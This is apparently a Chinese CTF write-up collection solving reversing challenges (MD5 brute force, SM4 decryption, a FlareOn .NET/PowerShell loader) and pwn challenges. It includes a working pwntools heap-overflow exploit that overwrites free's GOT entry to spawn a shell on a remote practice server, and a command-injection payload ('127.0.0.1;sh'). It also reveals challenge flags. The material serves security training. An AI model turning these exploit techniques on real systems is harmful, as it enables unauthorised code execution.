     0x82, 0x7e, 0x53, 0xf7, 0x35, 0xf2, 0x3a, 0xbd, 0xbb, 0xd2, 0xd7, 0x2a,
     0x91, 0xd3, 0x86, 0xeb, 0x07, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00,
     0x11, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
     0x0c, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00,
     0x07, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00,
     0x16, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00,
     0x11, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
     0x09, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
     0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00,
     0x14, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
     0x0e, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
     0x09, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
     0x04, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
     0x17, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00,
     0x10, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
     0x0b, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00,
     0x04, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
     0x17, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
     0x0f, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
     0x0a, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00,
     0x06, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00,
     0x15, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
     0x0f, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x32, 0x33, 0x33, 0x33,
     0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
     0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
     0x33, 0x33, 0x33, 0x33, ]
import itertools as it
import string
from hashlib import md5
prefix=bytes([50, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51])
data=string.printable
flag=''
for i in range(32):
    for j in data:
        if md5(md5(prefix+j.encode()).hexdigest().encode()).hexdigest()==bytes(a[i*33:i*33+32]).decode():
            print(j)
            flag+=j
            break
print(flag)

xman{99754106633f94d350db34d548}

[rev][D3CTF 2019]SIMD

论文链接 http://html.rhhz.net/ZGKXYDXXB/20180205.htm

https://www.anquanke.com/post/id/193939#h3-22

近年来avx2一直被用于分组密码的加速中

sub_1911AE判断输入长度是64

sub_411122为check函数,所以sub_4122A0中就是把操作后的数据放入check函数中,然后和dword_54E000开始的一些数据比较,相等就是flag

这一块

vmovdqu ymm0, ymmword ptr [ebp-80h]
mov     eax, [ebp-8Ch]
shl     eax, 2
mov     ecx, [ebx+8]
lea     edx, [ecx+eax*4]
vpcmpeqb ymm1, ymm1, ymm1
vpgatherdd ymm2, dword ptr [edx+ymm0*4], ymm1
vmovdqu ymmword ptr [ebp-40h], ymm2
mov     eax, [ebx+10h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor   ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov     eax, [ebx+14h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor   ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov     eax, [ebx+18h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor   ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
vmovdqu ymm0, ymmword ptr [ebp-40h]
call    sub_411212
vmovdqu ymmword ptr [ebp-40h], ymm0
mov     eax, [ebx+0Ch]
vmovdqu ymm0, ymmword ptr [eax]
vpxor   ymm0, ymm0, ymmword ptr [ebp-40h]
mov     ecx, [ebx+0Ch]
vmovdqu ymmword ptr [ecx], ymm0
vmovdqu ymm0, ymmword ptr [ebp-80h]
mov     eax, [ebp-8Ch]
shl     eax, 2
mov     ecx, [ebx+8]
lea     edx, [ecx+eax*4+4]
vpcmpeqb ymm1, ymm1, ymm1
vpgatherdd ymm2, dword ptr [edx+ymm0*4], ymm1
vmovdqu ymmword ptr [ebp-40h], ymm2
mov     eax, [ebx+0Ch]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor   ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov     eax, [ebx+14h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor   ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov     eax, [ebx+18h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor   ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
vmovdqu ymm0, ymmword ptr [ebp-40h]
call    sub_411212
vmovdqu ymmword ptr [ebp-40h], ymm0
mov     eax, [ebx+10h]
vmovdqu ymm0, ymmword ptr [eax]
vpxor   ymm0, ymm0, ymmword ptr [ebp-40h]
mov     ecx, [ebx+10h]
vmovdqu ymmword ptr [ecx], ymm0
vmovdqu ymm0, ymmword ptr [ebp-80h]
mov     eax, [ebp-8Ch]
shl     eax, 2
mov     ecx, [ebx+8]
lea     edx, [ecx+eax*4+8]
vpcmpeqb ymm1, ymm1, ymm1
vpgatherdd ymm2, dword ptr [edx+ymm0*4], ymm1
vmovdqu ymmword ptr [ebp-40h], ymm2
mov     eax, [ebx+10h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor   ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov     eax, [ebx+0Ch]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor   ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov     eax, [ebx+18h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor   ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
vmovdqu ymm0, ymmword ptr [ebp-40h]
call    sub_411212
vmovdqu ymmword ptr [ebp-40h], ymm0
mov     eax, [ebx+14h]
vmovdqu ymm0, ymmword ptr [eax]
vpxor   ymm0, ymm0, ymmword ptr [ebp-40h]
mov     ecx, [ebx+14h]
vmovdqu ymmword ptr [ecx], ymm0
vmovdqu ymm0, ymmword ptr [ebp-80h]
mov     eax, [ebp-8Ch]
shl     eax, 2
mov     ecx, [ebx+8]
lea     edx, [ecx+eax*4+0Ch]
vpcmpeqb ymm1, ymm1, ymm1
vpgatherdd ymm2, dword ptr [edx+ymm0*4], ymm1
vmovdqu ymmword ptr [ebp-40h], ymm2
mov     eax, [ebx+14h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor   ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov     eax, [ebx+10h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor   ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov     eax, [ebx+0Ch]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor   ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
vmovdqu ymm0, ymmword ptr [ebp-40h]
call    sub_411212
vmovdqu ymmword ptr [ebp-40h], ymm0
mov     eax, [ebx+18h]
vmovdqu ymm0, ymmword ptr [eax]
vpxor   ymm0, ymm0, ymmword ptr [ebp-40h]
mov     ecx, [ebx+18h]
vmovdqu ymmword ptr [ecx], ymm0

看起来就像分组加密

vpcmpeqb指令

VPCMPEQB (VEX.256 encoded version)

DEST[127:0] ←COMPARE_BYTES_EQUAL(SRC1[127:0],SRC2[127:0])
DEST[255:128] ←COMPARE_BYTES_EQUAL(SRC1[255:128],SRC2[255:128])
DEST[MAXVL-1:256] ← 0

COMPARE_WORDS_EQUAL (SRC1, SRC2) ¶

    IF SRC1[15:0] = SRC2[15:0]
    THEN DEST[15:0]←FFFFH;
    ELSE DEST[15:0]←0; FI;
(* Continue comparison of 2nd through 7th 16-bit words in SRC1 and SRC2 *)
    IF SRC1[127:112] = SRC2[127:112]
    THEN DEST[127:112]←FFFFH;
    ELSE DEST[127:112]←0; FI;

就是比较两个寄存器是否相等,如果相等则置-1

vpgatherdd

MASK[MAXVL-1:256] ← 0;
FOR j←0 to 7
    i←j * 32;
    IF MASK[31+i] THEN
        MASK[i +31:i]←FFFFFFFFH; // extend from most significant bit
    ELSE
        MASK[i +31:i]←0;
    FI;
ENDFOR
FOR j←0 to 7
    i←j * 32;
    DATA_ADDR←BASE_ADDR + (SignExtend(VINDEX1[i+31:i])*SCALE + DISP;
    IF MASK[31+i] THEN
        DEST[i +31:i]←FETCH_32BITS(DATA_ADDR); // a fault exits the instruction
    FI;
    MASK[i +31:i]←0;
ENDFOR
DEST[MAXVL-1:256] ← 0;

获取数据

调试一下,跳转到edx,可以看到轮密钥,

1658389675924

在轮密钥地址下断点,可以找到产生轮密钥函数sub_1925D0

网上找一份sm4源码实现,发现key就是

dword_2CE230    dd 67452301h, 0EFCDAB89h, 98BADCFEh, 10325476h

生成源码轮密钥的地方是

int sub_192AF0()
{
  __CheckForDebuggerJustMyCode(&unk_2D0019);
  sub_1910DC();
  sub_191136(&dword_2CE800, dword_2CE230);
  return j__atexit(sub_192C60);
}

然后就可以解密了

from sm4 import SM4Key
import sm4

key=b'\x01#Eg\x89\xab\xcd\xef\xfe\xdc\xba\x98vT2\x10'
key0 = SM4Key(key)

data=[0x3a,0x19,0xac,0xb0,0xa6,0x4e,0xb0,0x6c,0xf8,0x20,0x0f,0x50,0xbb,0xaf,0xd2,0xf5,0x04,0x8e,0x39,0x70,0xb1,0xdd,0x44,0x26,0xa0,0x73,0x87,0x9d,0x15,0xdb,0x69,0x25,0x3a,0x27,0x16,0xb6,0x8a,0xf7,0x67,0x43,0x3b,0x82,0xac,0x26,0x34,0x8f,0x40,0x54,0xad,0x7f,0x3b,0x4d,0xbb,0x8e,0x7b,0xf6,0x18,0x8d,0x55,0x73,0xa5,0xf1,0x7e,0xca]
r=key0.decrypt(bytes(data))
print(r)

[pwn] [ZJCTF 2019]EasyHeap

列出所有函数,其中有个很奇怪的名字l33t

[0x00400c34]> afl
0x00400790    1 41           entry0
0x00400730    1 6            sym.imp.__libc_start_main
0x004007c0    4 50   -> 41   sym.deregister_tm_clones
0x00400800    4 58   -> 55   sym.register_tm_clones
0x00400840    3 28           sym.__do_global_dtors_aux
0x00400860    4 38   -> 35   entry.init0
0x00400931   10 278          sym.create_heap
0x00400dc0    1 2            sym.__libc_csu_fini
0x00400c23    1 17           sym.l33t
0x00400700    1 6            sym.imp.system
0x004008cb    1 102          sym.menu
0x004006e0    1 6            sym.imp.puts
0x00400710    1 6            sym.imp.printf
0x00400dc4    1 9            sym._fini
0x00400b53    9 208          sym.delete_heap
0x00400d50    4 101          sym.__libc_csu_init
0x00400c34   18 274          main
0x00400690    3 26           sym._init
0x00400780    1 6            sym..plt.got
0x00400886    3 69           sym.read_input
0x00400720    1 6            sym.imp.read
0x004006d0    1 6            sym.imp._exit
0x00400a47    9 268          sym.edit_heap
0x004006c0    1 6            sym.imp.free
0x004006f0    1 6            sym.imp.__stack_chk_fail
0x00400740    1 6            sym.imp.malloc
0x00400750    1 6            sym.imp.setvbuf
0x00400760    1 6            sym.imp.atoi
0x00400770    1 6            sym.imp.exit

看看是啥

[0x00400c34]> s sym.l33t 
[0x00400c23]> pdf
            ; CALL XREF from main @ 0x400d23
/ 17: sym.l33t ();
|           0x00400c23      55             push rbp
|           0x00400c24      4889e5         mov rbp, rsp
|           0x00400c27      bf490f4000     mov edi, str.cat__home_pwn_flag ; 0x400f49 ; "cat /home/pwn/flag" ; const char *string
|           0x00400c2c      e8cffaffff     call sym.imp.system         ; int system(const char *string)
|           0x00400c31      90             nop
|           0x00400c32      5d             pop rbp
\           0x00400c33      c3             ret

原来是方便获取flag的

看一下main函数,经典的switch-case结构,菜单如下

[0x00400c34]> s sym.menu 
[0x004008cb]> pdf
            ; CALL XREF from main @ 0x400c8c
/ 102: sym.menu ();
|           0x004008cb      55             push rbp
|           0x004008cc      4889e5         mov rbp, rsp
|           0x004008cf      bfe00d4000     mov edi, str.________________________________ ; 0x400de0 ; "--------------------------------" ; const char *s
|           0x004008d4      e807feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004008d9      bf080e4000     mov edi, str._______Easy_Heap_Creator_______ ; 0x400e08 ; "       Easy Heap Creator       " ; const char *s
|           0x004008de      e8fdfdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004008e3      bfe00d4000     mov edi, str.________________________________ ; 0x400de0 ; "--------------------------------" ; const char *s
|           0x004008e8      e8f3fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004008ed      bf280e4000     mov edi, str._1._Create_a_Heap_______________ ; 0x400e28 ; " 1. Create a Heap               " ; const char *s
|           0x004008f2      e8e9fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004008f7      bf500e4000     mov edi, str._2._Edit_a_Heap_________________ ; 0x400e50 ; " 2. Edit a Heap                 " ; const char *s
|           0x004008fc      e8dffdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400901      bf780e4000     mov edi, str._3._Delete_a_Heap_______________ ; 0x400e78 ; " 3. Delete a Heap               " ; const char *s
|           0x00400906      e8d5fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0040090b      bfa00e4000     mov edi, str._4._Exit________________________ ; 0x400ea0 ; " 4. Exit                        " ; const char *s
|           0x00400910      e8cbfdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400915      bfe00d4000     mov edi, str.________________________________ ; 0x400de0 ; "--------------------------------" ; const char *s
|           0x0040091a      e8c1fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0040091f      bfc10e4000     mov edi, str.Your_choice_:  ; 0x400ec1 ; "Your choice :" ; const char *format
|           0x00400924      b800000000     mov eax, 0
|           0x00400929      e8e2fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0040092e      90             nop
|           0x0040092f      5d             pop rbp
\           0x00400930      c3             ret

逐个功能函数查看

创建

unsigned __int64 create_heap()
{
  int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      heaparray[i] = (char *)malloc(size);
      if ( !heaparray[i] )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:");
      read_input(heaparray[i], size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

编辑

unsigned __int64 edit_heap()
{
  int v1; // [rsp+4h] [rbp-1Ch]
  __int64 v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    printf("Size of Heap : ");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    printf("Content of heap : ");
    read_input(heaparray[v1], v2);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v4;
}

没有判断堆边界,存在溢出漏洞

删除

unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    free(heaparray[v1]);
    heaparray[v1] = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

置0了,不存在UAF

所以就是利用编辑的溢出漏洞

利用思路

https://www.cnblogs.com/luoleqi/p/12395985.html

  1. 创建3个chunk 0 1 2
  2. chunk1的内容为/bin/sh
  3. free chunk2
  4. 利用1溢出修改chunk2内容,大小改为0x70,下一个指向0x6020b0-3,因为这里可以构造chunk。即(uint64_t)(0x6020b0-3)=0x7x,其中x是1-f,获取对齐大小之后都是0x70,可以绕过fastbin的大小检查。
  5. 创建两个chunk,为chunk2 chunk3。此时chunk2是原chunk2,chunk3的地址为0x6020b0-3,此时修改对应的内容,实际上会改掉0x6020b0-3位置开始的值
  6. 修改chunk3的内容,因为修改chunk3的内容可以影响0x6020e0,也就是heap array的内容。将heaparray[0]改为free_got的地址
  7. 修改chunk0的内容,由于此时指向free_got,实际上修改了free_got,可以改为system的地址,那么下一次free实际上调用了system
  8. free(1),实际上执行system('bin/sh')
from pwn import *

# p = process('./easyheap')
p = remote('node4.buuoj.cn',25587)
elf =ELF('./easyheap')

# context.log_level = 'debug'

def create(size,content):
    p.recvuntil(b'Your choice :')
    p.sendline(b'1')
    p.recvuntil(b'Size of Heap : ')
    p.send(str(size).encode())
    p.recvuntil(b'Content of heap:')
    p.send(content)	

def edit(index,size,content):
    p.recvuntil(b'Your choice :')
    p.sendline(b'2')
    p.recvuntil(b'Index :')
    p.sendline(str(index).encode())
    p.recvuntil(b'Size of Heap : ')
    p.send(str(size).encode())
    p.recvuntil('Content of heap : ')
    p.send(content)

def free(index):
    p.recvuntil(b'Your choice :')
    p.sendline(b'3')
    p.recvuntil(b'Index :')
    p.sendline(str(index).encode())

free_got = elf.got['free']

create(0x68,b'aaaa')
create(0x68,b'bbbb')
create(0x68,b'cccc')
free(2)

#gdb.attach(p)

payload = b'/bin/sh\x00' + b'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)

create(0x68,b'aaaa')
create(0x68,b'c')

payload = b'\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
payload = p64(0x400700)

edit(0,len(payload),payload)
free(1)

p.interactive()

[pwn]bjdctf_2020_router

查看主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-74h] BYREF
  char buf[16]; // [rsp+10h] [rbp-70h] BYREF
  char dest[8]; // [rsp+20h] [rbp-60h] BYREF
  __int64 v7; // [rsp+28h] [rbp-58h]
  int v8; // [rsp+30h] [rbp-50h]
  char v9; // [rsp+34h] [rbp-4Ch]
  char v10[56]; // [rsp+40h] [rbp-40h] BYREF
  unsigned __int64 v11; // [rsp+78h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  *(_QWORD *)dest = ' gnip';
  v7 = 0LL;
  v8 = 0;
  v9 = 0;
  v4 = 0;
  puts("Welcome to BJDCTF router test program! ");
  while ( 1 )
  {
    menu();
    puts("Please input u choose:");
    v4 = 0;
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        puts("Please input the ip address:");
        read(0, buf, 0x10uLL);
        strcat(dest, buf);
        system(dest);
        puts("done!");
        break;
      case 2:
        puts("bibibibbibibib~~~");
        sleep(3u);
        puts("ziziizzizi~~~");
        sleep(3u);
        puts("something wrong!");
        puts("Test done!");
        break;
      case 3:
        puts("Please input what u want to say");
        puts("Your suggest will help us to do better!");
        read(0, v10, 58uLL);
        printf("Dear ctfer,your suggest is :%s", v10);
        break;
      case 4:
        puts("Hey guys,u think too much!");
        break;
      case 5:
        puts("Good Bye!");
        exit(-1);
      default:
        puts("Functional development!");
        break;
    }
  }
}

1的时候存在命令注入,3中存在溢出两个字节,但是开头读取了canary。

payload

127.0.0.1;sh

[rev][FlareOn4]zsud

https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/Flare-On%202017/Challenge7.pdf

先写个IDA脚本找到最终函数

import ida_bytes as ib
start=0x403690
while ib.get_byte(start)==0xe9:
    start=ib.get_dword(start+1)+start+5&0xffffffff
print(hex(start),hex(ib.get_byte(start)))

深度调用映射如下

403660->4023d0
403690->4027e0
4036a0->4084e0
int sub_4027E0()
{
  int v0; // eax
  int v1; // esi
  int v3; // [esp+8h] [ebp-100Ch] BYREF
  LPCSTR lpText; // [esp+Ch] [ebp-1008h]
  CHAR Text[4096]; // [esp+10h] [ebp-1004h] BYREF

  v3 = 1;
  lpText = ".manifest";
  v0 = sub_403660();
  v1 = v0;
  if ( v0 >= 0 )
    return 1;
  if ( v0 == 0x80070002 )
  {
    sub_401113(&v3, &unk_43F2B8);
    MessageBoxA(0, lpText, "Error", 0);
  }
  else
  {
    sub_401113(&v3, &unk_43F360);
    _snprintf_s(Text, 0x1000u, 0xFFFu, lpText, v1);
    MessageBoxA(0, Text, "Error", 0);
  }
  return 0;
}

然后根据字符串中的一段html字符串交叉引用到

int __cdecl sub_407D30(int a1)
{//...

  dwBytes = 2520;
  v1 = 0;
  *(_QWORD *)lpWideCharStr = 0i64;
  v2 = GetProcessHeap();
  v3 = HeapAlloc(v2, 8u, 0x9D8u);
  if ( !v3 )
    return 8;
LABEL_3:
  while ( 2 )
  {
    v21 = 0i64;
    v5 = 0;
    v6 = 0;
    v19 = 0;
    while ( 1 )
    {
      if ( v1 )
      {
        v7 = GetProcessHeap();
        HeapFree(v7, 0, v1);
      }
      v1 = 0;
      Block = 0;
      lpWideCharStr[0] = 0;
      lpWideCharStr[1] = 0;
      memset(v3, 0, dwBytes);
      v8 = dword_45BE64(a1, v6, v5, 0, v3, dwBytes, &v20, 0);
      v9 = v8;
      if ( !v8 )
        break;
      if ( v8 != 234 )
      {
        if ( v8 != 1229 || !v6 && !v19 )
          goto LABEL_20;
        goto LABEL_3;
      }
      v5 = v3[5];
      v6 = v3[4];
      v19 = v5;
      dwBytes = v20;
      v16 = GetProcessHeap();
      HeapFree(v16, 0, v3);
      v17 = GetProcessHeap();
      v3 = HeapAlloc(v17, 8u, dwBytes);
      if ( !v3 )
        return 8;
    }
    if ( v3[9] == 4 )
    {
      if ( sub_401073(v3[18], &Block) )
      {
        v11 = 0;
        v12 = sub_4010D7((int)lpWideCharStr[0], lpWideCharStr[1]);
        v13 = (void *)v12;
        if ( v12 )
        {
          v9 = sub_4010AF(a1, v3, 200, "OK", v12 + 16);
          v11 = 1;
          free(v13);
        }
        if ( Block )
          free(Block);
        v1 = 0;
        lpWideCharStr[0] = 0;
        lpWideCharStr[1] = 0;
        if ( v11 )
          goto LABEL_19;
      }
      else
      {
        v1 = Block;
      }
      v10 = sub_4010AF(a1, v3, 403, "OK", off_45A1B4);
    }
    else
    {
      v10 = sub_4010AF(a1, v3, 503, "Not Implemented", 0);
    }
    v9 = v10;
LABEL_19:
    if ( !v9 )
      continue;
    break;
  }
LABEL_20:
  v14 = GetProcessHeap();
  HeapFree(v14, 0, v3);
  if ( v1 )
  {
    v15 = GetProcessHeap();
    HeapFree(v15, 0, v1);
  }
  return v9;
}

访问之后是个字符画

beep_0是get_proc_address

看看4023d0

int sub_4023D0()
{
  //...

  v25 = 0;
  v0 = 0;
  v23 = 0;
  v1 = 0;
  v22 = 0;
  v21 = 0;
  cchWideChar = 0;
  v17 = 1;
  FileName = "wininet.dll";
  v11 = 1;
  Duration = (unsigned int)"InternetOpenA";
  v13 = 1;
  v14 = L"Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile"
         "/12A4345d Safari/600.1.4";
  v15 = 1;
  v16 = L"POST";
  v19 = 1;
  v20 = L"https://www.windowsupdate.com/upd";
  v2 = (CHAR *)sub_40103C(&unk_44C000, dword_4568E0, &cchWideChar);
  if ( v2 )
  {
    v3 = (const CHAR *)realloc(v2, cchWideChar + 1);
    if ( v3 )
    {
      v2 = (CHAR *)v3;
      v3[cchWideChar] = 0;
      v4 = MultiByteToWideChar(1u, 0, v3, -1, 0, 0);
      cchWideChar = v4;
      if ( v4 )
      {
        v10 = 2 * v4;
        v5 = GetProcessHeap();
        v6 = (WCHAR *)HeapAlloc(v5, 8u, v10);
        v0 = v6;
        if ( v6 )
        {
          v23 = MultiByteToWideChar(1u, 0, v2, -1, v6, cchWideChar);
          if ( v23 )
          {
            wcsncpy_s(Destination, 0x105u, L"M:\\whiskey_tango_flareon.dll", 0x104u);
            sub_401113((int)&v17, (int)&unk_43F5E4);
            sub_401113((int)&v11, (int)&unk_43F5F4);
            cchWideChar = sub_403650((int)&dword_45B9C0, FileName, Duration);
            if ( cchWideChar )
            {
              v1 = 0;
            }
            else
            {
              sub_40107D(&v13, &unk_43F60C);
              v1 = dword_45B9C0(v14, 0, 0, &unk_43EEAC, &unk_43F61C, &v25);
              if ( v1 >= 0 )
              {
                v1 = (*(int (__stdcall **)(int))(*(_DWORD *)v25 + 12))(v25);
                if ( v1 >= 0 )
                {
                  v21 = 1;
                  v22 = sub_403640();
                  if ( v22 )
                  {
                    sub_40107D(&v15, &unk_43F630);
                    sub_40107D(&v19, &unk_43F640);
                    v1 = (*(int (__stdcall **)(int, wchar_t *, const wchar_t *, const wchar_t *, WCHAR *, int *))(*(_DWORD *)v25 + 44))(
                           v25,
                           Destination,
                           v16,
                           v20,
                           v0,
                           &v23);
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  v7 = v25;
  if ( v25 )
  {
    if ( v21 )
    {
      (*(void (__stdcall **)(int))(*(_DWORD *)v25 + 16))(v25);
      v7 = v25;
    }
    (*(void (__stdcall **)(int))(*(_DWORD *)v7 + 8))(v7);
    v25 = 0;
  }
  if ( v22 )
    sub_40105A();
  if ( v0 )
  {
    v8 = GetProcessHeap();
    HeapFree(v8, 0, v0);
  }
  if ( v2 )
    free(v2);
  sub_4010CD();
  return v1;
}

好像加载了一个dll,调一下

dword_45B9C0变成了CorBindToRuntimeEx

原来是加载了.net库

又看了一下 https://juejin.cn/post/6844903843566714888

找一下内存中的dll文件

open('embedded_pe.bin', 'wb').write(GetManyBytes(0x458AB0, 0x1200))

脱进dnspy

using System;
using System.Collections.ObjectModel;
using System.IO;
using System.Management.Automation;
using System.Security.Cryptography;
using System.Text;

namespace flareon
{
    // Token: 0x02000002 RID: 2
    public class four
    {
    	// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
    	private static string Decrypt2(byte[] cipherText, string key)
    	{
    		byte[] bytes = Encoding.UTF8.GetBytes(key);
    		byte[] array = new byte[16];
    		byte[] iv = array;
    		string result = null;
    		using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
    		{
    			rijndaelManaged.Key = bytes;
    			rijndaelManaged.IV = iv;
    			ICryptoTransform transform = rijndaelManaged.CreateDecryptor(rijndaelManaged.Key, rijndaelManaged.IV);
    			using (MemoryStream memoryStream = new MemoryStream(cipherText))
    			{
    				using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
    				{
    					using (StreamReader streamReader = new StreamReader(cryptoStream))
    					{
    						result = streamReader.ReadToEnd();
    					}
    				}
    			}
    		}
    		return result;
    	}

    	// Token: 0x06000002 RID: 2 RVA: 0x00002164 File Offset: 0x00000364
    	public static int Smth(string arg)
    	{
    		using (PowerShell powerShell = PowerShell.Create())
    		{
    			try
    			{
    				byte[] cipherText = Convert.FromBase64String(arg);
    				string script = four.Decrypt2(cipherText, "soooooo_sorry_zis_is_not_ze_flag");
    				powerShell.AddScript(script);
    				Collection<PSObject> collection = powerShell.Invoke();
    				foreach (PSObject value in collection)
    				{
    					Console.WriteLine(value);
    				}
    			}
    			catch (Exception ex)
    			{
    				Console.WriteLine("Exception received");
    			}
    		}
    		return 0;
    	}
    }
}

可以看到了一段执行的解密的powershell脚本

刚刚调试好像看到了一段base64字符串,dump出来,解密

################################################################
# Welcome to the 2017 FLARE-ON Challenge mega-script. Have fun!
################################################################################
Set-StrictMode -Version 2.0
$logo = @"
--------------------------------------------------------------------
                               _a,                                 
                              _W#m,                                
                             _Wmmmm/                               
